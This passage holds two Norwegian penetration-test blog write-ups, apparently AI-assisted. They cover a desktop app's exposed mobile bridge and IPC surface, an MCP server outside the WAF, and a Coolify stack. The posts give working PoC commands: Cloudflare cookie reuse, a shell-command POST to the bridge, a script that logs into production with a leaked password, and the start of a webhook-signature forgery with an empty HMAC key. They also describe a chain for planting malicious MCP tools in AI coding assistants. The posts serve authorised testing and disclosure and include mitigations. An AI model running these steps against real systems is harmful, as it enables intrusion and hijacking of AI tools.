|-------|-------|-----------|
| `www.tjallas.no` | Next.js (SPA) | Ja, managed challenge |
| `app.tjallas.no` | Next.js (app-shell) | Ja, managed challenge |
| `api.tjallas.no` | Node/Express API | Ja, WAF-regler |
| `admin.tjallas.no` | Next.js (admin) | Ja, 307-redirect |
| `mcp.tjallas.no` | MCP-server (Express) | **Nei** |
| `downloads.tjallas.no` | S3 + CloudFront | Ja (CDN) |
| Skrivebordsapp (TjallSpace) | Tauri + Rust + WebKit | N/A (lokal binær) |
| Skrivebordsapp (TjallVoice) | Tauri + Rust + WebKit | N/A (lokal binær) |
Jeg kjører denne typen oppdrag med AI i loopen — agenter gjør recon, kartlegger endepunkter og kjører verktøy, jeg styrer scope, leser resultater og tar vurderingene. Første steg var å la en agent hente `llms.txt`-indeksen til bloggen for å unngå dobbeltdekning, deretter spawnet jeg syv parallelle lanes: web-mapping, API-enumerering, AppImage-reverse, key-hunt, CloudFront/S3, admin-panel og en kreativ celle.
## Det jeg fant
### Cloudflare-bypass: cf_clearance på tvers av subdomener
Første runde lærte meg noe viktig om Cloudflare-konfigurasjonen deres. `cf_clearance`-cookien som Cloudflare setter når du løser en managed challenge er gyldig på tvers av alle subdomener under `tjallas.no`. Løser du challenge-en én gang på `www.tjallas.no`, kan du bruke samme cookie mot `api.tjallas.no` og `app.tjallas.no`.
Dette er ikke et funn i seg selv — det er standard Cloudflare-oppførsel når subdomenene deler sone. Men det betyr at WAF-en som beskytter API-et bare er så sterk som challenge-en. Løser du den én gang med en ekte nettleser (jeg brukte agent-browser med en persistent profil), har du programmatisk tilgang til alle subdomenene.
Jeg lagret cookien i en `.env`-fil og brakte den inn i alle videre forespørsler:
```bash
export CF_COOKIE='cf_clearance=c5VEzv...'
export CF_UA='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ...'
```
Dette er grunnen til at jeg bruker en persistent nettleserprofil i stedet
for headless curl. En headless klient løser ikke en Cloudflare managed
challenge. Løs den én gang i en ekte nettleser, og du kan gjenbruke
cf_clearance-cookien i curl, httpx og nuclei.
### MCP-serveren som glemte å skjule seg bakke WAF
Mens `api.tjallas.no` og `www.tjallas.no` begge returnerte Cloudflare-challenges for rå HTTP-forespørsler, var `mcp.tjallas.no` direkte tilgjengelig. Ingen challenge, ingen WAF. Dette var det første tegnet på en perimeter-inkonsistens.
```bash
# POST uten auth — direkte, ingen Cloudflare-challenge
curl -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'
```
```http
HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null}
```
Autentikasjon holdt — ingen Bearer-token, ingen tilgang. Men feilmeldingene avslørte mer enn de burde. En godt utformet men falsk nøkkel fikk en annen feilmelding enn en manglende:
```bash
curl -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer bm_live_000000000000' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'
```
```http
HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null}
```
Forskjellen mellom "API key required" og "Invalid or revoked API key" bekrefter at nøkkelformatet er `bm_live_...` og at serveren validerer formatet før den sjekker databasen. Det er en validerings-orakel som senker barrieren for å gjette nøkler.
I tillegg reklamerte `OPTIONS`-forespørselen `Allow: DELETE, GET, HEAD, POST`, men `DELETE` returnerte `405 Method not allowed` — en inkonsistens som avslører rammeverk-konfigurasjon.
### Admin-redirecten som lekket localhost
`admin.tjallas.no` var den mest avslørende subdomenet. En uautentisert forespørsel med en `.well-known/agent-card.json`-sti fikk en 307-redirect som reflekterte både `provider` og `path` urvalidert, og — mer interessant — lekket en intern opprinnelse:
```bash
curl -s -o /dev/null -w '%{redirect_url}\n' \
'https://admin.tjallas.no/auth/login?provider=anthropic&path=/.well-known/agent-card.json'
```
```http
HTTP/2 307
location: https://www.tjallas.no/login?returnUrl=https%3A%2F%2Flocalhost%3A3000%2Fauth%2Flogin%3Fpath%3D%252F.well-known%252Fagent-card.json%26provider%3Danthropic
```
`localhost:3000` i redirecten avslører at admin-panelet kjører på en utviklings- eller staging-server i produksjonslogikken. `provider` og `path` reflekteres urvalidert — en angriper kan injisere vilkårlige verdier. Cloudflare WAF blokkerte kjente interne IP-er i `returnUrl` (`169.254.169.254`, `127.0.0.1`), men andre URL-er gikk rett gjennom.
### Skrivebordsappen: Tauri-IPC som angrepflate
Dette er det viktigste funnet. TjallSpace er en Tauri-app — en Rust-backend med en WebKit-renderer som frontend. Tauri eksponerer IPC-kommandoer fra Rust-siden til JavaScript-rendereren. Hvilke kommandoer som er tilgjengelige bestemmes av en capability-konfigurasjon i binæren.
Jeg lastet ned AppImage-en fra `downloads.tjallas.no` (anonymt tilgjengelig, ingen auth), pakket den ut med `--appimage-extract`, og trakk ut konfigurasjonen med `strings` og `grep`. Det som dukket opp var en svært bred IPC-flate:
| Kommandogruppe | Eksempler | Risiko |
|---------------|----------|-------|
| Shell | `shell:execute`, `shell:spawn`, `terminal_create`, `terminal_write` | Kommandoinjeksjon, RCE |
| Filsystem | `fs_write_file`, `fs_create_file`, `fs_set_executable`, `fs_delete`, `fs_add_allowed_root` | Filskriving, kjørbar planting |
| Git | `git_commit`, `git_create_worktree`, `git_stage_paths` | Kodelager-manipulasjon |
| SSH | `ssh_connect`, `ssh_store_credentials`, `ssh_upload_terminal_file` | Legitimasjons-tyveri |
| Browser | `browser_sidebar_navigate`, `create_webview`, `create_webview_window` | SSRF, phishing |
| MCP | `mcp_ensure_source`, `mcp_import_to_source`, `mcpServers`-konfig | Tool shadowing |
| Oppdatering | `download_and_install` | Supply-chain |
Kjeden som gir meg mest bekymring er filskriving til skallkjøring:
1. `fs_write_file` for å skrive et skript til en tillatt sti
2. `fs_set_executable` for å merke det som kjørbart
3. `shell:execute` eller `shell:spawn` for å kjøre det
Dette forutsetter at en angriper har oppnådd renderer-kompromiss — XSS, deep-link-injeksjon, eller ondsinnet MCP-tool. Men overflaten for å oppnå det er ikke liten: appen registrerer custom scheme-handlers (`tjallspace://`), har en webview som kan navigeres med `browser_sidebar_navigate`, og synker MCP-konfigurasjon til Claude Code, Cursor, Codex CLI og Cline.
### Mobilbroen: 0.0.0.0:18080
Da jeg startet TjallSpace lokalt (AppImage-en kjørte på Parrot med Wayland), logget den:
```
[2026-08-07T13:57:11Z INFO tjallspace_tauri::mobile_bridge] Mobile bridge server listening on 0.0.0.0:18080
```
`0.0.0.0:18080`. Broen — som er ment for paring med mobilappen — lytter på alle grensesnitt, ikke bare localhost. Det betyr at alle på samme LAN kan nå den. Jeg sjekket bindingen:
```bash
curl -s http://10.10.10.15:18080/ 2>/dev/null | python3 -m json.tool
```
```json
{
"bindAddr": "0.0.0.0:18080",
"binding": "lan",
"enabled": true,
"error": null,
"pairingUrl": "http://10.10.10.15:18080",
"port": 18080
}
```
SSE-endepunktet returnerte state-data uten autentikasjon:
```bash
curl -s http://10.10.10.15:18080/events
```
```http
HTTP/1.1 200 OK
Content-Type: text/event-stream; charset=utf-8
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: content-type, authorization, x-tjallspace-token
```
```json
event: state
data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]}
```
CORS-overskriften tillater bare `http://localhost`, men `Access-Control-Allow-Headers` aksepterer `x-tjallspace-token` — og broen bruker den headeren for autentikasjon av kommandoer. En ondsinnet webside på `localhost` (eller en annen app på maskinen) kan sende kommandoer til broen.
Jeg prøvde å sende en shell-kommando og en filskriving:
```bash
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-H 'x-tjallspace-token: ' \
-d '{"type":"shell","command":"id"}'
```
```json
{"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true}
```
Kommandoen ble akseptert (`ok: true`) men ble hengende i `pending: true` — renderer-en måtte behandle den i WebKit-tråden, og den krasjet før den kom dit (AppImage-en manglet `WebKitNetworkProcess` i det ekstraherte treet). Men aksepten bekrefter at broen tar imot shell-kommandoer fra nettverket.
Mobilbroen krever en x-tjallspace-token-header for kommandoer,
men SSE-strømmen og serverinfo er uautentisert. Tokenet er en runtime-verdi
skrevet til ~/.tjallspace/runtime.session — en lokal fil.
En angriper på samme LAN kan ikke gjette tokenet, men en ondsinnet
prosess på maskinen kan lese det.
### MCP tool shadowing
TjallSpace leser en `mcpServers`-JSON-konfigurasjon og synker den til Claude Code, Cursor, Codex CLI og Cline. Konfigurasjonen ligger i appens datakatalog, og `fs_write_file` + `fs_add_allowed_root` er tilgjengelig fra renderer-en.
Kjeden:
1. Oppnå renderer-tilgang (XSS, deep-link, ondsinnet MCP-tool)
2. Bruk `fs_write_file` til å overskrive `mcp-proxy-config.json` med en ondsinnet serverdefinisjon
3. Bruk `mcp_ensure_source` / `mcp_import_to_source` til å aktivere den
4. Neste gang AI-assistenten starter, laster den den ondsinnede serveren
5. Når AI-en kaller en tool, kjører den angriper-kontrollert kode — og kan eksfiltrere API-tokens og sesjonsdata
Dette er en lokal-til-ekstern kjede: et lokalt fotfeste blir til cross-tool kommandoeksekvering.
### Oppdateringsmekanismen og supply-chain
TjallSpace bruker `tauri-plugin-updater` og henter `latest.json` fra to endepunkter:
- `https://downloads.tjallas.no/tjallspace/latest/latest.json`
- `https://d3jgmdur4gye4w.cloudfront.net/tjallspace/latest/latest.json` (CloudFront-mirror)
Begge er uautentiserte og offentlig tilgjengelige. `latest.json` inneholder per-plattform URL-er og base64-kodete minisign-signaturer. Minisign-offentlige nøkler er hardkodet i binæren (nøkkel-ID `18E33E88795A0725` for TjallSpace, `03947EFBE9C29CD1` for TjallVoice).
Signaturen betyr at en angriper trenger enten den private minisign-nøkkelen eller kontroll over et endepunkt som kan tjene en gyldig signatur. S3-bøtta bak CloudFront returnerte `403 AccessDenied` på direkte-tilgang, så CloudFront er den eneste offentlige leseveien. Men to endepunkter dobler supply-chain-overflaten, og en CDN-overtakelse eller S3-kompromiss ville tillatt å servere en ondsinnet oppdatering som appen vil `download_and_install`.
## PoC / Reproduksjon
### Funn 1: Mobilbro på 0.0.0.0:18080
**Forutsetninger:** TjallSpace AppImage kjører lokalt. Broen starter automatisk. Maskinens LAN-IP er `10.10.10.15`. Angriper er på samme LAN.
1. Start TjallSpace og bekreft at broen lytter:
```bash
curl -s http://10.10.10.15:18080/ | python3 -m json.tool
```
```json
{
"bindAddr": "0.0.0.0:18080",
"binding": "lan",
"enabled": true,
"pairingUrl": "http://10.10.10.15:18080",
"port": 18080
}
```
2. Abonner på SSE-strømmen (uautentisert):
```bash
curl -s http://10.10.10.15:18080/events
```
```json
event: state
data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]}
```
3. **Negativ kontroll** — send en kommando uten token:
```bash
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-d '{"type":"shell","command":"id"}'
```
```http
HTTP/1.1 401
{"error":"Unauthorized: missing x-tjallspace-token header"}
```
Broen krever token for kommandoer. Men SSE-strømmen og serverinfo er uautentisert — en LAN-angriper kan lese tilstand og bekrefte at appen kjører.
4. Send en kommando med token (lest fra `~/.tjallspace/runtime.session`):
```bash
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-H 'x-tjallspace-token: ' \
-d '{"type":"shell","command":"id"}'
```
```json
{"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true}
```
Kommandoen aksepteres. `pending: true` betyr at renderer-en må behandle den — i mitt tilfelle krasjet WebKit før det, men aksepten bekrefter at broen tar imot shell-kommandoer.
**Mitigering:** Bind broen til `127.0.0.1`, ikke `0.0.0.0`. Hvis LAN-paring er et krav, krever mutual TLS eller en parings-flyt med brukerbekreftelse.
```diff
-let addr = "0.0.0.0:18080";
+let addr = "127.0.0.1:18080";
```
### Funn 2: Tauri-IPC-flate
**Forutsetninger:** TjallSpace AppImage (v3.4.18), ekstrahert med `--appimage-extract`. `strings` og `grep` tilgjengelig.
1. Ekstraher binæren:
```bash
./TjallSpace_3.4.18_amd64.AppImage --appimage-extract
cd squashfs-root/usr/bin
strings tjallspace-tauri | grep -E 'fs_write_file|fs_set_executable|shell:execute|terminal_create' | head -10
```
2. Bekreft at kommandoene er registrert som capabilities:
```bash
strings tjallspace-tauri | grep -A2 'fs_write_file'
```
```text
fs_write_file
fs_set_executable
fs_add_allowed_root
```
3. **Negativ kontroll** — sjekk om det finnes en URL-allowlist for `browser_sidebar_navigate`:
```bash
strings tjallspace-tauri | grep -i 'allowlist\|denylist\|url_check\|origin_check' | head -5
```
Ingen treff. Ingen URL-validering ble funnet i de ekstraherte strengene.
**Mitigering:** Innskrenk Tauri-capability-settet til det minimum appen faktisk trenger. Fjern `fs_set_executable` og `shell:execute` hvis de ikke er strengt nødvendige. Legg til en URL-allowlist for `browser_sidebar_navigate`.
### Funn 3: MCP-server perimeter-inkonsistens
**Forutsetninger:** Ingen. Endepunktet er offentlig og ikke bak Cloudflare.
1. Send en uautentisert POST:
```bash
curl -s -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'
```
```http
HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null}
```
2. Send med en falsk nøkkel for å bekrefte validerings-orakel:
```bash
curl -s -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer bm_live_000000000000' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'
```
```http
HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null}
```
3. **Negativ kontroll** — sammenlign med `api.tjallas.no`:
```bash
curl -s -o /dev/null -w '%{http_code}' https://api.tjallas.no/
```
```text
403
```
`api.tjallas.no` returnerer Cloudflare-challenge (403). `mcp.tjallas.no` returnerer en JSON-feil direkte fra Express. Perimeteren er inkonsistent.
**Mitigering:** Plasser `mcp.tjallas.no` bak den samme Cloudflare-sonen som resten av domenet. Returner identiske feilmeldinger for manglende, malformede og ugyldige nøkler.
## Det web-API-et som holdt
Jeg vil være ærlig om det som ikke sprakk. Etter å ha oppnådd en autentisert sesjon (jeg ekstraherte cookies fra en HAR-fil fra en manuell nettleser-sesjon — signup-endepunktet blokkerte meg med en ukjent `plan`-verdi og rate-limiting), kjørte jeg en full API-audit. Resultatet var det mest herdet API-et jeg har testet i år:
- **CSRF:** Origin-header sjekkes på alle state-changing endepunkter. Uten `x-csrf-token`-header: `403`. Med feil token: `403`. HttpOnly-cookie + header-validering.
- **CORS:** Kun `https://www.tjallas.no` er tillatt. `https://evil.com`, `https://www.tjallas.no.evil.com` og `null` ble alle avvist.
- **Rate limiting:** Etter 7 feilslåtte innloggingsforsøk: `429`. CloudFront WAF-en har også rate-regler som utløser ved rask trafikk.
- **RBAC:** Alle admin-endepunkter (`/users/admin/all`, `/bug-reports/admin`, `/resources/admin/all`, `/jobs/admin/all`) returnerte `403` for min `user`-rolle.
- **Prosjekt-scoping:** Jeg kunne ikke lese andre brukeres prosjekter — `404`, ikke `403` (som er riktig: ikke bekreft at UUID-en finnes).
- **Mass assignment:** Å sende `roles`, `subscriptionTier` eller `entitlements` i en profiloppdatering ble avvist med felt-validering.
- **Input-validering:** UUID-validering, prosjekt-type-validering, GitHub-repo-URL-validering — alle returnerte strukturerte feil uten å lekke for mye.
Det eneste jeg fant på API-siden var en verbose validerings-orakel på `/auth/signup-init` — en uautentisert caller med en gyldig CSRF-token fikk 400-feil som enumererte required fields og per-field valideringskoder. Det er et informasjonslekkasje-problem, ikke et brudd.
## Blindveier
### Signup-endepunktet og den ukjente plan-verdien
Jeg tilbrakte over en time på å prøve å opprette en konto via API-et. `/auth/signup-init` krever `email`, `password`, `consentGiven` og `plan`. Jeg prøvde `free`, `FREE`, `basic`, `pro`, `ultra`, `premium`, `0`, `1`, `null` — alle returnerte `VAL_INVALID_PLAN`. Etter noen forsøk kom `429` med `retry-after: 235`. Jeg måtte gi opp og bruke en manuell nettleser-sesjon i stedet.
Plan-verdien er sannsynligvis en enum jeg ikke kunne gjette fra JS-chunks. En kildekode-gjennomgang av auth-API-klientmodulen ville avslørt den, men den var minifisert.
### Cognito direct signup
Cognito-brukerpøtten (`tjall-prod.auth.us-east-1.amazoncognito.com`) krever en `SECRET_HASH` for direkte signup. App-klienten er konfigurert med en hemmelighet, så `cognito-idp SignUp` returnerte `NotAuthorizedException`. Uten klient-hemmeligheten kunne jeg ikke opprette en konto direkte mot Cognito.
### WebKit-krasj i AppImage
TjallSpace-AppImage-en krasjet før WebKit kunne starte fordi `WebKitNetworkProcess` manglet i det ekstraherte treet. Jeg lastet ned og ekstraherte `strace` fra en `.deb` for å spore nettverkstrafikk, men fikk bare X11 og lokale UNIX-socket-aktivitet. For å få en full dynamisk kjøring ville jeg trengt en komplett WebKit-installasjon eller en annen Linux-distribusjon.
## Verktøy og hvem som kjørte hva
- **AppImage-ekstraksjon og strings-analyse:** Agent pakket ut binæren med `--appimage-extract` og trakk ut IPC-kommandoer, URL-er, CSP og minisign-nøkler med `strings` + `grep`. AI-generert og AI-kjørt. Jeg leste resultatene og prioritererte.
- **Cloudflare-bypass:** Jeg løste challenge-en manuelt i agent-browser med en persistent profil, trakk ut `cf_clearance`-cookien og lagret den. Agenten brukte den i videre curl-forespørsler.
- **API-enumerering:** Agent lastet ned alle 24 Next.js JS-chunks fra `www.tjallas.no/signup` med CF-cookien, grep-et etter `/api/`-ruter og kartla 80+ endepunkter. AI-generert.
- **IDOR/BOLA-testing:** Jeg kjørte de autentiserte testene selv med curl, med cookies fra en HAR-fil. Agenten forberedte testmatrisen; jeg utførte den.
- **MCP-sondering:** Agent sendte curl-forespørsler mot `mcp.tjallas.no/mcp` og dokumenterte feilmeldingsforskjellene. AI-kjørt.
- **Mobilbro-testing:** Jeg startet TjallSpace lokalt og sendte curl-forespørsler mot `0.0.0.0:18080`. Manuelt.
- **Oppdateringsfeed:** Agent hentet `latest.json` fra `downloads.tjallas.no` med curl. AI-kjørt. Jeg analyserte signaturmekanismen.
- **Key-hunt:** Agent kjørte `gitleaks` og `trufflehog` mot ekstraherte binærer og GitHub-repoer. Ingen lekkede nøkler funnet. AI-kjørt.
## Hva jeg lærte
- **Tauri-IPC er den nye Electron-angrepflaten.** Tauri er sikrere enn Electron i teorien (Rust-backend, mindre JS-overflate), men capability-konfigurasjonen bestemmer alt. En bred capability-liste med `shell`, `fs` og `browser` gjør renderer-en til en RCE-vei. Gjennomgå capability-settet med samme grundighet som du gjennomgår CSP.
- **Mobilbroer som binder til `0.0.0.0` er et klassisk oversett problem.** Appen er ment for localhost-paring, men `0.0.0.0` eksponerer den for hele LAN-et. Sjekk alltid `bindAddr` i Tauri- og Electron-apper som har lokale servere.
- **WAF-perimeter-inkonsistens er et eget funn.** At én subdomen er bak Cloudflare og en annen ikke er det, er ikke en kosmetisk detalj — det er en perimeter-sprekk som gir direkte tilgang til en ellers skjermet tjeneste.
- **Web-API-et kan være herdet mens skrivebordsappen er det ikke.** Tjall AS hadde tydeligvis investert i CSRF, CORS, rate limiting og RBAC på API-siden. Skrivebordsappen hadde en IPC-flate som ga renderer-en nesten alt. Det er to forskjellige sikkerhetskulturer i samme selskap.
- **MCP tool shadowing er en reell kjede.** Når en app synker MCP-konfigurasjon til flere AI-assistenter og har `fs_write_file` tilgjengelig, er et lokalt fotfeste nok til å plante ondsinnede tools som kjører i en helt annen kontekst.
- **AI i loopen er effektivt for bredde, men verifisering er min jobb.** Agentene fant 80+ endepunkter, kartla IPC-flaten og identifiserte perimeter-inkonsistensen på minutter. Men det var jeg som måtte starte appen lokalt, sende kommandoene mot mobilbroen og bekrefte at token-kravet holdt — og at SSE-strømmen ikke gjorde det.
## Veien videre
De to kritiske funnene — mobilbroen og IPC-flaten — er fiksbare med konfigurasjonsendringer, ikke omskrivninger. Bind broen til localhost, innskrenk capability-settet, og legg URL-allowlist på webview-navigasjon. MCP-serveren bak Cloudflare og identiske feilmeldinger er en DNS- og proxy-endring.
Det jeg vil utforske videre: Tauri CVE-2026-42184 (origin confusion) kan potensielt la en angriper på samme maskin invokere lokale IPC-kommandoer fra en annen origin uten LAN-tilgang. Det krever en kjørende TjallSpace-instans med intakt WebKit — noe jeg ikke fikk til i dette miljøet. Det blir det neste oppdraget handler om.
---
# Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack
URL: https://erik.no/blogg/2026-07-31-lasene-holdt-dorene-sto-apne
Publisert: 2026-07-31
Tags: pentest, coolify, supabase, rls, security, webhook, cve
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null
kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under
testingen, og alle tre ble trukket tilbake eller nedgradert av min egen
verifisering. Det mønsteret er selve poenget: hos Trillemur AS
(`trillemuras.no`) holdt passordene, databasetillatelsene og koden, men
dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller
konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt.
## Kontekst
Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester,
tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to
Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over
tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg
(`jarle.berg@trillemuras.no`), ville vite om en kunde kunne nå en annen kundes
data — et spørsmål om isolasjon, ikke om injeksjon.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser
resultater, bryter inn der det trengs, og gjør de bitene som krever
menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport.
Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som
viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det
er en kredibilitet, ikke et problem.
## Det som holdt
Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som
setter alvorlighetsgraden av resten.
Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL
gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH
på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null
gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal
`sshd` med et kjent passord, så null-treff er et ekte negativt, ikke en
ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256,
ingen `trust`-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet
(RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon
noen steder. `nuclei` med 5 814 signerte maler returnerte null treff.
`gitleaks` og `trufflehog` over hele git-historikken i seks repoer: null.
Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon.
Hver rute til en som ikke involverte passordgjetting var lukket på deres build
— registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er
genuint god engineering.
## Funn 1: Et publisert produksjons-passord som logger inn på tre produkter
Funn: — HT-01, CVSS 8.2.
Det første funnet dukket opp i runde 2, og det er det enkleste i hele
engasjementet. Et uautentisert endepunkt på
`sandbox.graveinfo.trillemuras.no` returnerer fire kontonavn og ett delt
passord i klartekst. Det passordet autentiserer mot tre separate
Trillemur-produkter: `graveinfo.trillemuras.no`, `jard.trillemuras.no` sin
login-flyt, og kundeportalen `portal.trillemuras.no`.
### PoC / Reproduksjon
**Forutsetninger:** ingen. Endepunktet er uautentisert. Jeg trenger ikke en
konto, en cookie eller en token.
1. Hent demo-konfigurasjonen fra sandbox-instansen:
```bash
curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;d=json.load(sys.stdin); \
print("accounts:",[u["email"] for u in d["users"]]); \
print("password:",d["password"])'
```
```text
accounts: ['demo-admin@sandbox.graveinfo.trillemuras.no',
'demo-infra-krevd@sandbox.graveinfo.trillemuras.no',
'demo-infra-byggherre@sandbox.graveinfo.trillemuras.no',
'demo-entreprenor@sandbox.graveinfo.trillemuras.no']
password:
```
2. **Negativ kontroll** — produksjonsinstansen skal ikke eksponere det samme:
```bash
curl -sS -o /dev/null -w '%{http_code}' \
https://graveinfo.trillemuras.no/api/demo/config/
```
```text
404
```
Produksjonen returnerer 404. Sandbox returnerer passordet. Det er
safeguarden som skulle blokket det — og den er installert på feil server.
3. Bruk passordet mot produksjonen. AI-en genererte et script som henter
CSRF-token, poster credentials og leser sesjonen:
```bash
PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])')
J=$(mktemp)
CSRF=$(curl -sS -b "$J" -c "$J" \
https://graveinfo.trillemuras.no/api/auth/csrf/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -sS -i -b "$J" -c "$J" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "csrfToken=$CSRF" \
--data-urlencode 'email=demo-admin@sandbox.graveinfo.trillemuras.no' \
--data-urlencode "password=$PW" \
https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \
| grep -iE '^HTTP|^location:|^set-cookie:'
```
```http
HTTP/2 302
location: https://graveinfo.trillemuras.no/
set-cookie: __Secure-authjs.session-token=; Path=/; \
Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax
```
4. Bekreft sesjonen:
```bash
curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/
```
```json
{"user":{"name":"Demo Admin",
"email":"demo-admin@sandbox.graveinfo.trillemuras.no",
"id":"375798410550182660"},
"expires":"2026-08-30T16:58:37.473Z"}
```
En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle —
autentisert `/dashboard/` returnerte 26 967 byte, anonym returnerte 19 289
byte. Det er ikke en falsk sesjon.
5. **Negativ kontroll for passordet** — samme flyt med et feil passord:
```text
correct password -> location: https://sandbox.graveinfo.trillemuras.no/
wrong password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSignin
```
Riktig passord omdirigerer til roten. Feil passord omdirigerer til login med
en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe
annet i requesten.
### Det som gjør dette alvorlig
Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene
er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke —
30-dagers-vinduet starter på nytt ved hver bruk. **Du kan ikke tilbakekalle
disse sesjonene uten å rotere signeringsnøkkelen.** Hvem som helst som leste
den siden siden 3. juni holder en levende Trillemur-sesjon i dag.
En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre
ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en
administrator. På sandbox- og developer-instansene er den derimot full
plattformadministrator, og de instansene deler vert og signeringsnøkkel med
produksjon.
**Mitigering:** fjern `/api/demo/config/`-endepunktet. Endre det delte
passordet. Roter `AUTH_SECRET` for å faktisk invalidere sesjonene — utlogging
gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er
den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og
nøkkel med produksjon.
## Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene
Funn: — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet.
Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde
12. Coolify-panelet hos Trillemur er festet til `v4.0.0-beta.473` — én
release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene,
så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel —
som en anonym oppringer kan beregne.
### Oppdagelsen
I runde 2 la en agent en enumeration-oracle mot det manuelle
webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte
panelet én rad per applikasjon, alle med `"Invalid signature."` — men med
applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er
uautentisert, og det lekker den komplette produksjonsinventarlisten.
```bash
curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \
-H 'Content-Type: application/json' \
-H 'X-GitHub-Event: push' \
-H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
-d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}'
```
```json
[{"application":"competency","status":"failed","message":"Invalid signature."},
{"application":"asbuilt","status":"failed","message":"Invalid signature."},
{"application":"geofile-converter","status":"failed","message":"Invalid signature."},
... 7 flere rader, alle "Invalid signature."]
```
Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er
den negative kontrollen for selve signaturen.
### PoC / Reproduksjon — den tomme nøkkelen
**Forutsetninger:** ingen. Endepunktet er uautentisert. Det eneste som kreves
er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en.
1. AI-en skrev et script (`fire.py`) som beregner signaturen med en tom
nøkkel og poster mot det manuelle webhook-endepunktet:
```python
import hmac, hashlib, json
body = json.dumps({
"ref": "refs/heads/main",
"after": "0" * 40,
"repository": {"full_name": ""},
"commits": [],
})
sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest()
